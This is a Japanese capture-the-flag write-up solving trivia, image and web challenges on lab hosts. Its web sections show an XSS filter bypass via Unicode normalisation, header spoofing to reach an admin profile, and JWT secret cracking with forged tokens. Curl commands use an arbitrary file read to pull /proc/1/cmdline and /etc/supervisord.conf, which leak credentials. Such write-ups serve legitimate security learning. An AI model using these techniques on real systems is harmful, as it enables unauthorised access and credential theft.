これも実装ゲーだ。色々雑だけれども、ごちゃごちゃしていたらフラグが得られた。

import math
from PIL import Image
im = Image.open('Twisted.png').convert('RGB')
w, h = im.size
im2 = Image.new('RGB', (w * 2, h * 2), (255, 255, 255))

pix = im.load()
pix2 = im2.load()

cx, cy = w // 2, h // 2
for y in range(h):
    for x in range(w):
        dx = cx - x
        dy = cy - y

        r = math.sqrt(dx ** 2 + dy ** 2)
        t = - (r ** 2) / (250 ** 2)

        x2 = int(dx * math.cos(t) - dy * math.sin(t) + cx)
        y2 = int(dx * math.sin(t) + dy * math.cos(t) + cy)

        try:
            pix2[x2 + cx, y2 + cy] = pix[x, y]
        except:
            pass

im2.show()
im2.save('result.png')

flag{LHZGhq3WTXvo}

[Trivia 10] The Original Name of AES (284 solves)

Advanced Encryption Standard (AES) は、公募によって策定された標準暗号です。 現在採用されているアルゴリズムの候補名は何だったでしょうか?

flag{XXXXXXXX} (半角英字)

調べるまでもなく、Rijndaelだ。

flag{Rijndael}

[Trivia 10] CVE Record of Lowest Number (221 solves)

最も番号が若い CVE レコードのソフトウェアパッケージにおいて、脆弱性が指摘された行を含むソースファイル名は何でしょう?

解答形式:flag{XXXXXXXXX} (半角英数・記号)

"oldest cve" のようなクエリで検索するとCVE-1999-0001がヒットする。"ip_input.c in BSD-derived TCP/IP implementations allows remote attackers to cause a denial of service (crash or hang) via crafted packets." らしい。

flag{ip_input.c}

[Trivia 10] MFA Factors (273 solves)

多要素認証に使われる本人確認のための3種類の情報の名前は何でしょう?それぞれ漢字2文字で、50音の辞書順で並べて「・」で区切ってお答えください。

解答形式:flag{○○・○○・○○} (それぞれ漢字2文字)

調べるまでもない。

flag{所持・生体・知識}

[Web 10] Browsers Have Local Storage (260 solves)

http://10.10.10.30 にアクセスしてフラグを見つけ出し、解答してください。

解答形式:FLAG{************}

与えられたURLにアクセスする…が、何も表示されない。問題名的にlocal storageにあるのだろうと、ソースも見ずにDevToolsを開き localStorage を見る。Answer というキーにフラグが保管されていた。

FLAG{Th1s_1s_The_fIrst_flag}

[Web 10] Are You Introspective? (26 solves)

http://10.10.10.31 にアクセスしてフラグを見つけ出し、解答してください。 このサイトでは GraphQL が使用されているため、まずは endpoint を探す必要があります。

解答形式:FLAG{************}

与えられたURLにアクセスすると、Cannot GET / とExpressでルートを設定していないときのエラーが表示される。問題文の通り、まずはGraphQLのエンドポイントを見つける必要があるらしい。雑にgobusterで殴ると、/graphql/v1 が見つかった。

$ ~/tools/gobuster/gobuster dir -u http://10.10.10.31 -w ~/tools/gobuster/dsplusleakypaths.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.31
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /home/st98/tools/gobuster/dsplusleakypaths.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/graphql/v1           (Status: 400) [Size: 53]
Progress: 3521 / 3522 (99.97%)
===============================================================
Finished
===============================================================

ということで、ここでintrospectionをしたい。このページを開きつつ適当なスクリプトを利用して、Apollo Sandboxをこのコンテキストで動かす。DevToolsのNetworkタブを見ていると、introspectionをしているパケットが見つかる。そのレスポンスにフラグが含まれていた。

…
          "fields": [
            {
              "name": "hello",
              "description": "FLAG{Is_this_your_first_time_using_GraphQL}",
              "args": [],
              "type": {
                "kind": "SCALAR",
…
FLAG{Is_this_your_first_time_using_GraphQL}

[Web 20] Insecure (95 solves)

あなたは社内ポータルサイト(http://10.10.10.33)の管理者に依頼されて、profile ページが安全に保護されているかチェックすることになりました。 以下のログイン情報を用いてサイトにログインし、管理者の profile ページに記載されている秘密の情報を見つけてください。 なお、依頼の際に「管理者ページのidは0だよ」というヒントをもらっています。

【ログイン情報】

User: testUser
Password: diejuthdkfi14
解答形式:FLAG{************}

与えられたURLにアクセスすると、次のようにログインフォームが表示された。与えられたcredsでログインすると、色々なお知らせが表示され、そして最後にプロフィールの閲覧のためのリンクがある。

/show_profile.php?id=1 へアクセスすると、/profile_success.php にリダイレクトされ、現在ログインしているユーザのプロフィールが表示された。/show_profile.php?id=0 で管理者のプロフィールが得られるのではないかと思ったが「他人のprofileを覗かないでください」と怒られてしまった。

/show_profile.php?id=0 から /profile_error.php へリダイレクトされているようなので、あえて流されず、/profile_error.php でなく /profile_success.php にアクセスするとどうなるか。今度は /profile_success.php から /profile_error.php へリダイレクトされてしまった。

ほかの要素も検証されているのではないかと考える。適当にUser-Agentやリファラを設定してみたところ、今度は管理者のプロフィールが閲覧できた。

import httpx
with httpx.Client(base_url='http://10.10.10.33', headers={
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36'
}) as client:
    client.post('/login.php', data={
        'userID': 'testUser',
        'password': 'diejuthdkfi14'
    })
    r = client.get('/dashboard.php')
    r = client.get('/show_profile.php?id=0', headers={'Referer': 'http://10.10.10.33/dashboard.php'})
    r = client.get('/profile_success.php', headers={'Referer': 'http://10.10.10.33/dashboard.php'})
    print(r, r.text)
FLAG{1qaz7ujmbgt5}

[Web 20] Variation (6 solves)

http://10.10.10.32 のWebサーバーで下記形式の XSS を発生させ、フラグを入手してください。 <script>alert(1)</script>

解答形式:FLAG{************}

与えられたURLにアクセスすると、次のようなフォームが表示される。

適当に <s>test</s> を入力すると、/greet?name=<s>test<%2Fs> へリダイレクトされる。が、次のように <> が削除されている様子がわかる。

なんだこれはと思いつつ適当に色々入力していると、1@ のように「全角」で英数字を入力すると、1@ とASCIIの英数字になっていた。ほかの記号でも同様だが、<> は削除されてしまっている。

雑にブルートフォースし、<, > に変換されるような文字がないか探す。

import urllib.parse
import httpx

with httpx.Client(base_url='http://10.10.10.32/') as client:
    step = 1000
    for i in range(0, 0x100000, step):
        tmp = ''
        for c in range(i, i + step):
            try:
                tmp += chr(c)
            except:
                pass

        try:
            r = client.get('/greet', params={
                'name': tmp
            })
        except:
            continue

        t = r.content[
            r.content.index(b'<h1>')+4:r.content.index(b'</h1>')
        ]

        if b'<' in t:
            print(i)
            print('[tmp]', tmp)
            print('[tmp]', urllib.parse.quote(tmp))
            print('t', t, t.index(b'<'))

U+FE64, U+FE65がそれだった。/greet?name=﹤script﹥alert(1)﹤/script﹥ でアラートが表示され、フラグが出力された。<, >, (U+FF1C), (U+FF1E) があれば削除 → 正規化(?)という順番で処理したためにこうなったという感じだろうか。

FLAG{dfa23afjkl98}

[Web 30] Bruteforce (25 solves)

http://10.10.10.34:8000 からフラグを回収して下さい。 http://10.10.10.34:5000 で動作するプログラムの内容は、ctf-web-hard.pyに記載されています。

解答形式:FLAG{************}

添付ファイル: ctf-web-hard.py

8000/tcpにアクセスするとBASIC認証が要求された。ひとまず5000/tcpの方を見ていく。このソースコードであるという ctf-web-hard.py は次の通り。/protected にはPOSTされたJSONの filepath 経由での自明なPath Traversalが存在している。いや、別にtraverseはしてないし、そもそも admin しか使えないようにされているから意図した機能なのか…?

今言ったように admin であるかどうかがチェックされているけれども、これは Authorization ヘッダから与えられたJWTを参照している。このJWTは /login でログインすることで得られるのだけれども、当然ながら admin のパスワードも、JWTを偽造するために必要な JWT_SECRET_KEY も伏せられている。

from flask import Flask
from flask import jsonify
from flask import request

from flask_jwt_extended import create_access_token
from flask_jwt_extended import get_jwt_identity
from flask_jwt_extended import jwt_required
from flask_jwt_extended import JWTManager

app = Flask(__name__)


app.config["JWT_SECRET_KEY"] = "*************"
app.config["JWT_ACCESS_TOKEN_EXPIRES"] = False
app.config["JWT_REFRESH_TOKEN_EXPIRES"] = False
app.config["JWT_COOKIE_CSRF_PROTECT"] = False
app.config["JWT_ENCODE_NBF"] = False


jwt = JWTManager(app)


@app.route("/login", methods=["POST"])
def login():
    users = {}
    users['test'] = 'test'
    users['admin'] = '*************'
    username = request.json.get("username", None)
    print(username)
    password = request.json.get("password", None)
    print(password)
    if (not username in users) or (password != users[username]):
        return jsonify({"msg": "Bad username or password"}), 401

    access_token = create_access_token(identity=username)
    return jsonify(access_token=access_token)

@app.route("/protected", methods=["POST"])
@jwt_required()
def protected():
    current_user = get_jwt_identity()
    if current_user == "test" :
        return "ummm...."
    elif current_user == "admin" :
        filepath = request.json.get("filepath",None)
        f = open(filepath,'r')
        filedata = f.read()
        f.close()
        return jsonify(filedata), 200

if __name__ == "__main__":
    app.run(host="0.0.0.0")

ではどうするか。問題名の通り "Bruteforce" をすればよい。つまり、まずは test / test でログインして正規のJWTを得た上で、これがHS256であることを利用して鍵をブルートフォースしていく。jwt-cracker を使って、rockyou.txt に含まれる文字列を鍵候補としてブルートフォースすると、conankun が鍵であるとわかった。

$ npx jwt-cracker -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwODgyMjAwMiwianRpIjoiMDFhYzk0NzktOGRiNC00OTFjLWE3ZTAtMWM3ODIyMDgxNGFlIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6InRlc3QifQ.g9cx0-Ki5CkaaZ-A_BulMLQsR7QOl26yxSiwojqoGDM -d /usr/share/dict/rockyou.txt
Attempts: 100000 (529K/s last attempt was 'sagar')
…
Attempts: 1600000 (1.4M/s last attempt was 'killmefers')
Attempts: 1700000 (1.4M/s last attempt was 'j3sucr1st0')
Attempts: 1800000 (1.4M/s last attempt was 'flirt92')
SECRET FOUND: conankun
Time taken (sec): 1.307
Total attempts: 1840000

jwt.ioと得られた鍵を使って、先程の正当なJWTの sub クレームを admin に書き換え、JWTを偽造する。これで /protected を叩けるようになった。

ただ、これで /etc/passwd, /proc/self/cmdline, /var/www/ctf-web-hard.py 等を見てみたものの、何も面白い情報は得られなかった。ふと、8000/tcpのサービスは同じマシンで動いており、procfsからそのプロセスの情報が得られるのではないかと考えた。どうせDockerで動いており、またPID 1で何かしら動いているだろう、ダメならPIDをインクリメントしていこうと考えたが、PID 1でいきなり当たった。その cmdline を見てみるとビンゴ、/etc/supervisord.conf を読んで何やら動かしている様子が分かる。このファイルから、BASIC認証のためのcredsが得られた。

$ curl -X POST -H "Content-Type: application/json" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwODgyMjAwMiwianRpIjoiMDFhYzk0NzktOGRiNC00OTFjLWE3ZTAtMWM3ODIyMDgxNGFlIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIn0.EmMzXW702TluCNsCkuOBDB1mOA-CGgUfGgAUnWqVAgo" "http://10.10.10.34:5000/protected" -d '{"filepath": "/proc/1/cmdline"}'
"/usr/bin/python3\u0000/usr/bin/supervisord\u0000-c\u0000/etc/supervisord.conf\u0000"
$ curl -X POST -H "Content-Type: application/json" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwODgyMjAwMiwianRpIjoiMDFhYzk0NzktOGRiNC00OTFjLWE3ZTAtMWM3ODIyMDgxNGFlIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIn0.EmMzXW702TluCNsCkuOBDB1mOA-CGgUfGgAUnWqVAgo" "http://10.10.10.34:5000/protected" -d '{"filepath": "/etc/supervisord.conf"}'
"[supervisord]\nnodaemon=true\n\n[program:ctf-web-hard]\ncommand=/usr/bin/python3 /var/www/ctf-web-hard.py\nautostart=true\nautorestart=true\n\n[program:http_server_auth]\ncommand=/usr/bin/python3 /var/www/ZQ4zgfia2Kfi/http_server_auth.py --username admin --password EG5f9nPCpKxk\nautostart=true\nautorestart=true \n"

このcredsで5000/tcpにアクセスすると、ディレクトリ名としてフラグが含まれていた。

FLAG{pLi5lfm8hJK7}

*1:これで得られたのはとっくに分かっているヒントで、開いてすぐに解けてしまい悲しかった

*2:有料のヒントは好きではない

*3:有料のヒントを許さない

*4:ICC 2023と被ってしまい、サンディエゴから日本へ帰ってくる便から参加することになったため、という言い訳をしたい

*5:問題名にヒントを仕込むのは面白くない

*6:なんで?

*7:なんで?